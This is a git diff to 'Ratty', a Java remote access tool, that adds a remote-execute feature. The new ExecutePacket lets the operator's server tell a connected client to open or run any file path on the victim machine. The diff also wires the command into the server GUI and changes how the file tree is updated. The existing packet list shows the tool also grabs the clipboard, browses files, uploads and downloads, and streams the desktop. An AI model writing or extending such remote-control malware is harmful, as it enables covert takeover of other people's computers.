diff --git a/Ratty/src/de/sogomn/rat/packet/ExecutePacket.java b/Ratty/src/de/sogomn/rat/packet/ExecutePacket.java
new file mode 100644
index 0000000..76ce638
--- /dev/null
+++ b/Ratty/src/de/sogomn/rat/packet/ExecutePacket.java
@@ -0,0 +1,49 @@
+package de.sogomn.rat.packet;
+
+import java.awt.Desktop;
+import java.awt.Desktop.Action;
+import java.io.File;
+import java.io.IOException;
+
+import de.sogomn.rat.ActiveClient;
+
+public final class ExecutePacket implements IPacket {
+	
+	private String path;
+	
+	public ExecutePacket(final String path) {
+		this.path = path;
+	}
+	
+	public ExecutePacket() {
+		this("");
+	}
+	
+	@Override
+	public void send(final ActiveClient client) {
+		client.writeUTF(path);
+	}
+	
+	@Override
+	public void receive(final ActiveClient client) {
+		path = client.readUTF();
+	}
+	
+	@Override
+	public void execute(final ActiveClient client) {
+		final File file = new File(path);
+		
+		if (Desktop.isDesktopSupported() && file.exists()) {
+			final Desktop desktop = Desktop.getDesktop();
+			
+			if (desktop.isSupported(Action.OPEN)) {
+				try {
+					desktop.open(file);
+				} catch (final IOException ex) {
+					ex.printStackTrace();
+				}
+			}
+		}
+	}
+
+}
diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java
index df48f79..53d988c 100644
--- a/Ratty/src/de/sogomn/rat/packet/PacketType.java
+++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java
@@ -13,7 +13,8 @@ public enum PacketType {
 	CLIPBOARD(8, ClipboardPacket.class),
 	FILE(9, FileSystemPacket.class),
 	DOWNLOAD(10, DownloadPacket.class),
-	UPLOAD(11, UploadPacket.class);
+	UPLOAD(11, UploadPacket.class),
+	EXECUTE(12, ExecutePacket.class);
 	
 	public final byte id;
 	public final Class<? extends IPacket> clazz;
diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
index 8eb8c39..95baf23 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
@@ -170,6 +170,12 @@ public final class FileTreePanel {
 		return getByName(node, remainingPath);
 	}
 	
+	private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode start, final String path) {
+		final String[] pathParts = path.split("\\" + File.separator);
+		
+		return getByName(start, pathParts);
+	}
+	
 	private void addAll(final DefaultMutableTreeNode root, final String[] path) {
 		if (path.length == 0) {
 			return;
@@ -229,6 +235,18 @@ public final class FileTreePanel {
 		removeFile(pathParts);
 	}
 	
+	public void removeChildren(final String path) {
+		final DefaultMutableTreeNode node = getByName(root, path);
+		
+		if (node != null) {
+			final DefaultMutableTreeNode[] children = getChildren(node);
+			
+			for (final DefaultMutableTreeNode child : children) {
+				treeModel.removeNodeFromParent(child);
+			}
+		}
+	}
+	
 	public void setVisible(final boolean state) {
 		dialog.setVisible(state);
 	}
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
index 599c382..fda5826 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@@ -12,6 +12,7 @@ import de.sogomn.rat.packet.ClipboardPacket;
 import de.sogomn.rat.packet.CommandPacket;
 import de.sogomn.rat.packet.DesktopStreamPacket;
 import de.sogomn.rat.packet.DownloadPacket;
+import de.sogomn.rat.packet.ExecutePacket;
 import de.sogomn.rat.packet.FileSystemPacket;
 import de.sogomn.rat.packet.FreePacket;
 import de.sogomn.rat.packet.IPacket;
@@ -88,7 +89,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 			final String path = treePanel.getLastPathClicked();
 			final FileSystemPacket packet = new FileSystemPacket(path);
 			
-			treePanel.removeFile(path);
+			treePanel.removeChildren(path);
 			
 			return packet;
 		} else if (command == FileTreePanel.DOWNLOAD) {
@@ -108,6 +109,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 				
 				return packet;
 			}
+		} else if (command == FileTreePanel.EXECUTE) {
+			final FileTreePanel treePanel = serverClient.getTreePanel();
+			final String path = treePanel.getLastPathClicked();
+			final ExecutePacket packet = new ExecutePacket(path);
+			
+			return packet;
 		}
 		
 		return null;